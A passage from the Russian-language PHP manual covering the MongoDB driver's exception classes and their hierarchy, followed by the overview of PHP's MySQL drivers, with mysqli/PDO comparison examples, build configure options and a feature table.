final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Exception\BulkWriteException

(mongodb >= 1.0.0)

Введение

Выбрасывается в случае неудачной массовой операции записи.

Обзор классов

class MongoDB\Driver\Exception\BulkWriteException extends MongoDB\Driver\Exception\WriteException implements MongoDB\Driver\Exception\Exception {
/* Наследуемые свойства */
protected MongoDB\Driver\WriteResult $writeResult;
protected ?array $errorLabels;
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public MongoDB\Driver\Exception\WriteException::getWriteResult(): MongoDB\Driver\WriteResult
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel(string $errorLabel): bool
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Exception\CommandException

(mongodb >= 1.5.0)

Введение

Выбрасывается, в случае возникновения ошибки команды.

Обзор классов

abstract class MongoDB\Driver\Exception\CommandException extends MongoDB\Driver\Exception\ServerException implements MongoDB\Driver\Exception\Exception {
/* Свойства */
protected object $resultDocument;
/* Наследуемые свойства */
protected ?array $errorLabels;
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Методы */
final public getResultDocument(): object
/* Наследуемые методы */
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel(string $errorLabel): bool
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

Свойства

resultDocument

Документ результата, связанный с неудачной командой.

Содержание

  • MongoDB\Driver\Exception\CommandException::getResultDocument — Возвращает результат документа для неудавшейся команды

User Contributed Notes

There are no user contributed notes for this page.


Возвращает результат документа для неудавшейся команды

  • « MongoDB\Driver\Exception\CommandException
  • MongoDB\Driver\Exception\ConnectionException »
  • PHP Manual
  • MongoDB\Driver\Exception\CommandException
  • Возвращает результат документа для неудавшейся команды

MongoDB\Driver\Exception\CommandException::getResultDocument

(mongodb >= 1.5.0)

MongoDB\Driver\Exception\CommandException::getResultDocument — Возвращает результат документа для неудавшейся команды

Описание

final public MongoDB\Driver\Exception\CommandException::getResultDocument(): object

Возвращает результат документа для неудавшейся команды.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Документ результата для неудавшейся команды.

Смотрите также

  • MongoDB\Driver\Manager::executeCommand() - Выполняет команду базы данных

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Exception\ConnectionException

(mongodb >= 1.0.0)

Введение

Базовый класс для исключений, выбрасывающихся, когда драйвер не может установить подключение к базе данных.

Обзор классов

class MongoDB\Driver\Exception\ConnectionException extends MongoDB\Driver\Exception\RuntimeException implements MongoDB\Driver\Exception\Exception {
/* Наследуемые свойства */
protected ?array $errorLabels;
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel(string $errorLabel): bool
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Exception\ConnectionTimeoutException

(mongodb >= 1.0.0)

Введение

Выбрасывается, когда драйверу не удаётся установить соединение с базой данных в течение определённого периода времени (connectTimeoutMS). или выбор сервера не удался (serverSelectionTimeoutMS).

Обзор классов

final class MongoDB\Driver\Exception\ConnectionTimeoutException extends MongoDB\Driver\Exception\ConnectionException implements MongoDB\Driver\Exception\Exception {
/* Наследуемые свойства */
protected ?array $errorLabels;
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel(string $errorLabel): bool
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Exception\EncryptionException

(mongodb >= 1.7.0)

Введение

Базовый класс для исключений бросаемых в процессе шифрования на стороне клиента.

Обзор классов

class MongoDB\Driver\Exception\EncryptionException extends MongoDB\Driver\Exception\RuntimeException implements MongoDB\Driver\Exception\Exception {
/* Наследуемые свойства */
protected ?array $errorLabels;
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel(string $errorLabel): bool
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс MongoDB\Driver\Exception\Exception

(mongodb >= 1.0.0)

Введение

Базовой интерфейс для всех исключений драйвера. Его можно использовать, что поймать только исключения, возникающие из самого драйвера.

Обзор классов

class MongoDB\Driver\Exception\Exception {
}

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Exception\ExecutionTimeoutException

(mongodb >= 1.0.0)

Введение

Выбрасывается, когда запрос или команда не завершается в течение определённого периода времени (например, » maxTimeMS).

Обзор классов

final class MongoDB\Driver\Exception\ExecutionTimeoutException extends MongoDB\Driver\Exception\ServerException implements MongoDB\Driver\Exception\Exception {
/* Наследуемые свойства */
protected ?array $errorLabels;
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel(string $errorLabel): bool
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

Список изменений

Версия | Описание
PECL mongodb 1.5.0 | Теперь этот класс расширяет MongoDB\Driver\Exception\ServerException вместо MongoDB\Driver\Exception\RuntimeException.

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Exception\InvalidArgumentException

(mongodb >= 1.0.0)

Введение

Выбрасывается, когда методу драйвера переданы некорректные аргументы (например, недопустимые типы опций).

Обзор классов

class MongoDB\Driver\Exception\InvalidArgumentException extends InvalidArgumentException implements MongoDB\Driver\Exception\Exception {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Exception\LogicException

(mongodb >= 1.0.0)

Введение

Выбрасывается при неправильном использовании драйвера (например, перемотка в начало курсора).

Обзор классов

class MongoDB\Driver\Exception\LogicException extends LogicException implements MongoDB\Driver\Exception\Exception {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Exception\RuntimeException

(mongodb >= 1.0.0)

Введение

Выбрасывается, когда драйвер обнаруживает ошибку во время выполнения (например, внутренняя ошибка из » libmongoc).

Обзор классов

class MongoDB\Driver\Exception\RuntimeException extends RuntimeException implements MongoDB\Driver\Exception\Exception {
/* Свойства */
protected ?array $errorLabels;
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Методы */
final public hasErrorLabel(string $errorLabel): bool
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

Свойства

errorLabels

Содержит массив меток ошибок для исключения. Например, метки ошибок могут использоваться для определения того, можно ли безопасно провести транзакцию, если присутствует метка TransientTransactionError. Существование определённой метки ошибки должно быть проверено с помощью MongoDB\Driver\Exception\RuntimeException::hasErrorLabel() вместо интерпретации этого свойства errorLabels вручную.

Список изменений

Версия | Описание
PECL mongodb 1.6.0 | Добавлены метод MongoDB\Driver\Exception\RuntimeException::hasErrorLabel() и свойство MongoDB\Driver\Exception\RuntimeException::errorLabels.

Содержание

  • MongoDB\Driver\Exception\RuntimeException::hasErrorLabel — Возвращает, связана ли метка ошибки с исключением

User Contributed Notes

There are no user contributed notes for this page.


Возвращает, связана ли метка ошибки с исключением

  • « MongoDB\Driver\Exception\RuntimeException
  • MongoDB\Driver\Exception\ServerException »
  • PHP Manual
  • MongoDB\Driver\Exception\RuntimeException
  • Возвращает, связана ли метка ошибки с исключением

MongoDB\Driver\Exception\RuntimeException::hasErrorLabel

(mongodb >= 1.6.0)

MongoDB\Driver\Exception\RuntimeException::hasErrorLabel — Возвращает, связана ли метка ошибки с исключением

Описание

final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel(string $errorLabel): bool

Возвращает, был ли установлен errorLabel для этого исключения. Метки ошибок устанавливаются либо сервером, либо драйвером, чтобы указать конкретные ситуации, в которых может потребоваться принять решение о способе обработки конкретного исключения. Такой ситуацией может быть в проверке, можно ли безопасно повторить транзакцию, которая не удалась из-за временной ошибки (например, проблемы с сетью или конфликт транзакций). Примерами меток ошибок являются TransientTransactionError и UnknownTransactionCommitResult.

Список параметров

errorLabel

Название errorLabel для проверки.

Возвращаемые значения

Связана ли переданное значение параметра errorLabel с соответствующим исключением.

Смотрите также

  • MongoDB\Driver\Session::commitTransaction() - Фиксирует транзакцию
  • » Документация MongoDB по транзакциям

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Exception\ServerException

(mongodb >= 1.5.0)

Введение

Базовый класс для исключений, выброшенных сервером. Код этого исключения и его подклассы будут соответствовать исходному коду ошибки с сервера.

Обзор классов

class MongoDB\Driver\Exception\ServerException extends MongoDB\Driver\Exception\RuntimeException implements MongoDB\Driver\Exception\Exception {
/* Наследуемые свойства */
protected ?array $errorLabels;
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel(string $errorLabel): bool
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Exception\SSLConnectionException (устаревший)

(mongodb >= 1.0.0)

Внимание

Этот класс исключений устарел и может быть удалён в будущей основной версии. Драйвер никогда не выбросит это исключение.

Введение

Выбрасывается, когда драйверу не удаётся установить SSL-соединение с сервером.

Обзор классов

final class MongoDB\Driver\Exception\SSLConnectionException extends MongoDB\Driver\Exception\ConnectionException implements MongoDB\Driver\Exception\Exception {
/* Наследуемые свойства */
protected ?array $errorLabels;
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel(string $errorLabel): bool
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Exception\UnexpectedValueException

(mongodb >= 1.0.0)

Введение

Выбрасывается, когда драйвер сталкивается с неожиданным значением (например, во время сериализации или десериализации BSON).

Обзор классов

class MongoDB\Driver\Exception\UnexpectedValueException extends UnexpectedValueException implements MongoDB\Driver\Exception\Exception {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Exception\WriteException

(mongodb >= 1.0.0)

Введение

Базовый класс для исключений, вызванных неудачной операцией записи. Это исключение содержит объект MongoDB\Driver\WriteResult.

Обзор классов

abstract class MongoDB\Driver\Exception\WriteException extends MongoDB\Driver\Exception\ServerException implements MongoDB\Driver\Exception\Exception {
/* Свойства */
protected MongoDB\Driver\WriteResult $writeResult;
/* Наследуемые свойства */
protected ?array $errorLabels;
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Методы */
final public getWriteResult(): MongoDB\Driver\WriteResult
/* Наследуемые методы */
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel(string $errorLabel): bool
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

Свойства

writeResult

Объект MongoDB\Driver\WriteResult, связанный с неудачной операцией записи.

Список изменений

Версия | Описание
PECL mongodb 1.5.0 | Теперь класс наследуется от MongoDB\Driver\Exception\ServerException вместо MongoDB\Driver\Exception\RuntimeException.

Содержание

  • MongoDB\Driver\Exception\WriteException::getWriteResult — Возвращает WriteResult для операции записи закончившейся ошибкой

User Contributed Notes

There are no user contributed notes for this page.


Возвращает WriteResult для операции записи закончившейся ошибкой

  • « MongoDB\Driver\Exception\WriteException
  • Class Tree »
  • PHP Manual
  • MongoDB\Driver\Exception\WriteException
  • Возвращает WriteResult для операции записи закончившейся ошибкой

MongoDB\Driver\Exception\WriteException::getWriteResult

(mongodb >= 1.0.0)

MongoDB\Driver\Exception\WriteException::getWriteResult — Возвращает WriteResult для операции записи закончившейся ошибкой

Описание

final public MongoDB\Driver\Exception\WriteException::getWriteResult(): MongoDB\Driver\WriteResult

Возвращает объект MongoDB\Driver\WriteResult для операции записи, которая закончилась ошибкой. Более подробную информацию об ошибке можно получить с помощью методов MongoDB\Driver\WriteResult::getWriteErrors() и MongoDB\Driver\WriteResult::getWriteConcernError().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект MongoDB\Driver\WriteResult для операции записи закончившейся ошибкой.

Примеры

Пример #1 Пример использования MongoDB\Driver\Exception\WriteException::getWriteResult()

<?php

$manager = new MongoDB\Driver\Manager('mongodb://localhost');
$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['_id' => 1]);
$bulk->insert(['_id' => 1]);

try {
$manager->executeBulkWrite('db.collection', $bulk);
} catch (MongoDB\Driver\Exception\WriteException $e) {
$writeResult = $e->getWriteResult();

if ($writeConcernError = $writeResult->getWriteConcernError()) {
var_dump($writeConcernError);
}

if ($writeErrors = $writeResult->getWriteErrors()) {
var_dump($writeErrors);
}
}

?>

Результатом выполнения данного примера будет что-то подобное:

array(1) {
  [0]=>
  object(MongoDB\Driver\WriteError)#5 (4) {
    ["message"]=>
    string(70) "E11000 duplicate key error index: db.collection.$_id_ dup key: { : 1 }"
    ["code"]=>
    int(11000)
    ["index"]=>
    int(1)
    ["info"]=>
    NULL
  }
}

Смотрите также

  • MongoDB\Driver\WriteResult
  • MongoDB\Driver\Manager::executeBulkWrite() - Выполняет одну или несколько операций записи

User Contributed Notes

There are no user contributed notes for this page.


MongoDB Exception Class Tree

The class hierarchy for MongoDB exceptions is modeled after that of the SPL Exceptions. Base classes extend their SPL counterpart and all exception classes in the extension implement the MongoDB\Driver\Exception\Exception interface.

  • MongoDB\Driver\Exception\LogicException (extends LogicException)
  • MongoDB\Driver\Exception\InvalidArgumentException (extends InvalidArgumentException)
  • MongoDB\Driver\Exception\UnexpectedValueException (extends UnexpectedValueException)
  • MongoDB\Driver\Exception\RuntimeException (extends RuntimeException)
    • MongoDB\Driver\Exception\ConnectionException
      • MongoDB\Driver\Exception\AuthenticationException
      • MongoDB\Driver\Exception\ConnectionTimeoutException
      • MongoDB\Driver\Exception\SSLConnectionException (deprecated)
    • MongoDB\Driver\Exception\EncryptionException
    • MongoDB\Driver\Exception\ServerException
      • MongoDB\Driver\Exception\CommandException
      • MongoDB\Driver\Exception\ExecutionTimeoutException
      • MongoDB\Driver\Exception\WriteException
        • MongoDB\Driver\Exception\BulkWriteException

User Contributed Notes

There are no user contributed notes for this page.


MySQL драйверы и плагины

В PHP имеется несколько драйверов и плагинов для доступа к MySQL.

В данном разделе представлен обзор отличий и функционала различных модулей для работы с MySQL.

  • Обзор PHP драйверов MySQL
    • Обзор терминологии
    • Выбор API
    • Выбор библиотеки
    • Основные понятия
  • MySQLi — Улучшенный модуль MySQL (MySQL Improved)
    • Введение
    • Краткий обзор
    • Краткое руководство
    • Установка и настройка
    • Модуль mysqli и постоянные соединения
    • Предопределённые константы
    • Основная информация о функциях модуля MySQLi
    • mysqli — Класс mysqli
    • mysqli_stmt — The mysqli_stmt class
    • mysqli_result — Класс mysqli_result
    • mysqli_driver — Класс mysqli_driver
    • mysqli_warning — Класс mysqli_warning
    • mysqli_sql_exception — Класс mysqli_sql_exception
    • Синонимы и устаревшие функции Mysqli
    • Список изменений
  • Mysql_xdevapi
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Список изменений
    • Примеры
    • Функции Mysql_xdevapi
    • mysql_xdevapi\BaseResult — Интерфейс BaseResult
    • mysql_xdevapi\Client — Класс Client
    • mysql_xdevapi\Collection — Класс Collection
    • mysql_xdevapi\CollectionAdd — Класс CollectionAdd
    • mysql_xdevapi\CollectionFind — Класс CollectionFind
    • mysql_xdevapi\CollectionModify — Класс CollectionModify
    • mysql_xdevapi\CollectionRemove — Класс CollectionRemove
    • mysql_xdevapi\ColumnResult — Класс ColumnResult
    • mysql_xdevapi\CrudOperationBindable — Интерфейс CrudOperationBindable
    • mysql_xdevapi\CrudOperationLimitable — Интерфейс CrudOperationLimitable
    • mysql_xdevapi\CrudOperationSkippable — Интерфейс CrudOperationSkippable
    • mysql_xdevapi\CrudOperationSortable — Интерфейс CrudOperationSortable
    • mysql_xdevapi\DatabaseObject — Интерфейс DatabaseObject
    • mysql_xdevapi\DocResult — Класс DocResult
    • mysql_xdevapi\Exception — Класс Exception
    • mysql_xdevapi\Executable — Интерфейс Executable
    • mysql_xdevapi\ExecutionStatus — Класс ExecutionStatus
    • mysql_xdevapi\Expression — Класс Expression
    • mysql_xdevapi\Result — Класс Result
    • mysql_xdevapi\RowResult — Класс RowResult
    • mysql_xdevapi\Schema — Класс Schema
    • mysql_xdevapi\SchemaObject — Интерфейс SchemaObject
    • mysql_xdevapi\Session — Класс Session
    • mysql_xdevapi\SqlStatement — Класс SqlStatement
    • mysql_xdevapi\SqlStatementResult — Класс SqlStatementResult
    • mysql_xdevapi\Statement — Класс Statement
    • mysql_xdevapi\Table — Класс Table
    • mysql_xdevapi\TableDelete — Класс TableDelete
    • mysql_xdevapi\TableInsert — Класс TableInsert
    • mysql_xdevapi\TableSelect — Класс TableSelect
    • mysql_xdevapi\TableUpdate — Класс TableUpdate
    • mysql_xdevapi\Warning — Класс Warning
  • MySQL (Original) — Оригинальное API MySQL
    • Введение
    • Установка и настройка
    • Список изменений
    • Предопределённые константы
    • Примеры
    • MySQL — Функции СУБД MySQL
  • Mysqlnd — Встроенный драйвер MySQL
    • Введение
    • Обзор
    • Установка
    • Настройка во время выполнения
    • Несовместимости
    • Постоянное соединение
    • Статистика
    • Замечания
    • Управление памятью
    • API для плагинов к встроенному драйверу MySQL

User Contributed Notes

There are no user contributed notes for this page.


Обзор PHP драйверов MySQL

Введение

Для доступа к базе данных MySQL существует несколько API-интерфейсов PHP. Пользователи могут выбирать между модулями mysqli или PDO_MySQL.

В этом руководстве описывается терминология используемая в описаниях каждого API, информация по выбору подходящего API, и информация которая поможет вам выбрать подходящую, для использования с этим API, MySQL библиотеку.

  • Обзор терминологии
  • Выбор API
  • Выбор библиотеки
  • Основные понятия
    • Буферизированные и небуферизированные запросы
    • Кодировки символов

User Contributed Notes

There are no user contributed notes for this page.


Обзор терминологии

В этом разделе рассказывается про имеющиеся возможности взаимодействия между PHP приложением и базой данных MySQL.

Что такое API?

Интерфейс программирования приложений(Application Programming Interface или API), описывает классы, методы, функции и переменные, которые ваше приложение должно использовать для выполнения поставленной задачи. В случае PHP, API для доступа к базам данных доступны в качестве модулей PHP.

API может быть процедурным или объектно-ориентированным. В процедурном API, для совершения необходимых действий вы вызываете функции, тогда как в объектно-ориентированном API вы инстанциируете классы и вызываете их методы. Более предпочтительным является использование объектно-ориентированного API, так как подобный подход более современен и позволяет лучше организовать код.

Если вы пишите PHP приложение, которому необходимо взаимодействовать с базой данных MySQL, то у вас есть несколько API на выбор. В этом документе рассказывается про то, какие API есть и как выбрать наиболее подходящее для вашего приложения.

Что такое Коннектор?

В документации MySQL, термин коннектор(connector) отсылает к той части программного обеспечения, которая позволяет вашему приложению соединиться с базой данных MySQL. MySQL предоставляет коннекторы для многих языков программирования, в том числе и для PHP.

Если ваше приложение должно взаимодействовать с базой данных, вы должны написать PHP-код для выполнения таких задач как соединение с базой данных, выполнение запросов и прочих функций. Для предоставления вашему приложению необходимого API и для обеспечения взаимодействия между приложением и базой данных требуется специальное программное обеспечение. Это ПО обычно называют коннектором. И именно оно позволяет вашему приложению соединиться(connect) с базой данных.

Что такое Драйвер?

Драйвер - это специализированное ПО, созданное для взаимодействием с определённым сервером баз данных. Драйвер также может использовать сторонние библиотеки, такие как "MySQL Client Library" или "MySQL Native Driver". Эти библиотеки реализуют низкоуровневый протокол взаимодействия с сервером MySQL.

Для примера, коннектор PHP Data Objects (PDO) может использовать различные специализированные драйверы для различных баз данных. Один из них "PDO MYSQL driver", предназначенный для взаимодействия с MySQL.

Иногда люди используют термины коннектор и драйвер, понимая под ними одно и то же. Это неправильно и может привести к путанице. В документации относящейся к MySQL, термин драйвер обозначает ПО, предоставляющее специфичную для конкретного сервера баз данных часть коннектора.

Что такое модуль?

В документации PHP вы наверняка сталкивались с термином модуль (extension). Код PHP состоит из базового функционала(ядра) и необязательных модулей, дополняющих функциональность ядра. Связанный с MySQL модуль PHP, mysqli, реализован с использованием инфраструктуры модулей PHP.

Обычно, модули предоставляют API для программиста, что бы он мог использовать их функциональность в своих программах. Однако существуют модули не предоставляющие никакого API.

Например модуль "PDO MySQL driver" не предоставляет никакого API для разработчика. Вместо этого он предоставляет интерфейс для вышестоящего уровня PDO.

Термины API и Модуль обозначают разные вещи, так как модуль может не предоставлять никакого API.

User Contributed Notes

There are no user contributed notes for this page.


Выбор API

PHP предоставляет различные API для доступа к MySQL. Ниже показаны API, предоставляемые модулями mysqli и PDO. В каждом примере кода создаётся соединение с сервером MySQL запущенном на сервере "example.com" с использованием логина "user" и пароля "password" и выполняется запрос к нему.

Пример #1 Сравнение MySQL API

<?php
// mysqli
$mysqli = new mysqli("example.com", "user", "password", "database");
$result = $mysqli->query("SELECT 'Привет, дорогой пользователь MySQL!' AS _message FROM DUAL");
$row = $result->fetch_assoc();
echo htmlentities($row['_message']);

// PDO
$pdo = new PDO('mysql:host=example.com;dbname=database', 'user', 'password');
$statement = $pdo->query("SELECT 'Привет, дорогой пользователь MySQL!' AS _message FROM DUAL");
$row = $statement->fetch(PDO::FETCH_ASSOC);
echo htmlentities($row['_message']);
?>

Пример #2 Сравнение подготовленных запросов

<?php
// mysqli
$mysqli = new mysqli("example.com", "user", "password", "database");
$statement = $mysqli->prepare("SELECT District FROM City WHERE Name=?");
$statement->execute(["Amersfoort"]);
$result = $statement->get_result();
$row = $result->fetch_assoc();
echo htmlentities($row['District']);

// PDO
$pdo = new PDO('mysql:host=example.com;dbname=database', 'user', 'password');
$statement = $pdo->prepare("SELECT District FROM City WHERE Name=?");
$statement->execute(["Amersfoort"]);
$row = $statement->fetch(PDO::FETCH_ASSOC);
echo htmlentities($row['District']);

Сравнение возможностей

Общая производительность обоих модулей примерно одинакова. Хотя производительность модуля составляет лишь часть общего времени выполнения веб-запроса PHP, обычно не более 0.1%.

 | ext/mysqli | PDO_MySQL
Появилось в версии PHP | 5.0 | 5.1
Работает в PHP 7.x и 8.x | Да | Да
Статус разработки | Активный | Активный
Жизненный цикл | Активный | Активный
Рекомендовано для новых проектов | Да | Да
ООП интерфейс | Да | Да
Процедурный интерфейс | Да | Нет
API поддерживает асинхронные, неблокирующие запросы mysqlnd | Да | Нет
Постоянные (persistent) соединения | Да | Да
API поддерживает кодировки (charset) | Да | Да
API поддерживает подготовленные запросы на стороне сервера | Да | Да
API поддерживает подготовленные запросы на стороне клиента | Нет | Да
API поддерживает хранимые процедуры | Да | Да
API поддерживает множественные запросы | Да | Большинство
API поддерживает транзакции | Да | Да
Можно контролировать транзакции посредством SQL | Да | Да
Поддерживает всю функциональность MySQL 5.1+ | Да | Большинство

User Contributed Notes

rellect at gmail dot com 20-Feb-2019 11:37
Another point to consider and one of the advantages of PDO is that it's not limited to mysql and supports other database engines such as PostgreSQL, SQLite, etc.
alvaro at demogracia dot com 21-Jun-2012 09:29
Apart from the feature list, I suggest you try out both MySQLi and PDO and find out what API design you like most. MySQLi is more powerful and probably more complex to learn. PDO is more elegant and has the advantage that you only need to learn one PHP API if you need to work with different DBMS in the future.


Выбор библиотеки

Модули mysqli и PDO_MySQL - всего лишь легковесные обёртки над библиотеками написанными на языке C. Эти модули могут использовать библиотеки mysqlnd и libmysqlclient. Выбор библиотеки необходимо сделать на этапе компиляции.

Библиотека mysqlnd является частью дистрибутива PHP. Она предоставляет такие возможности как ленивое соединение(lazy connections) и кеширование запросов. В библиотеке libmysqlclient данные возможности недоступны. Так что крайне рекомендуется использовать именно встроенную библиотеку mysqlnd. Для дополнительных сведений смотрите документацию mysqlnd.

Пример #1 Команды конфигурирования для mysqlnd и libmysqlclient

//Рекомендованная, компилирует с mysqlnd
$ ./configure --with-mysqli=mysqlnd --with-pdo-mysql=mysqlnd

//Рекомендованная, компилирует с mysqlnd
$ ./configure --with-mysqli --with-pdo-mysql

//Не рекомендованная, компилирует с libmysqlclient
$ ./configure --with-mysqli=/path/to/mysql_config --with-pdo-mysql=/path/to/mysql_config

Сравнение возможностей библиотек

Рекомендуется использовать библиотеку mysqlnd, а не MySQL Client Server library (libmysqlclient). Обе библиотеки развиваются и поддерживаются производителями.

 | MySQL native driver (mysqlnd) | MySQL client server library (libmysqlclient)
Часть дистрибутива PHP | Да | Нет
Появилась в версии PHP | 5.3.0 | Нет данных
Лицензия | PHP License 3.01 | Двойная лицензия
Статус разработки | Активный | Активный
Жизненный цикл | Окончание не анонсировано | Окончание не анонсировано
Компилирование по умолчанию (для всех модулей MySQL) | Да | Нет
Поддержка протокола сжатия | Да | Да
Поддержка SSL | Да | Да
Поддержка именованных конвейеров (named pipes) | Да | Да
Неблокирующие, асинхронные запросы | Да | Нет
Статистика производительности | Да | Нет
LOAD LOCAL INFILE уважает директиву open_basedir | Да | нет
Использует штатный менеджер памяти PHP (т.е., ограничения памяти PHP) | Да | Нет
Возвращает числовые значения как значения с плавающей точкой(float) (COM_QUERY) | Да | нет
Возвращает числовые значения как строки (string) (COM_QUERY) | Да | Да
Поддержка плагинов | Да | Ограниченно
Автоматическое переподключение | нет | опционально

User Contributed Notes

There are no user contributed notes for this page.


Основные понятия

Содержание

  • Буферизированные и небуферизированные запросы
  • Кодировки символов

Эти основные понятия, связанные с драйвером MySQL для PHP.

User Contributed Notes

There are no user contributed notes for this page.


Буферизированные и небуферизированные запросы

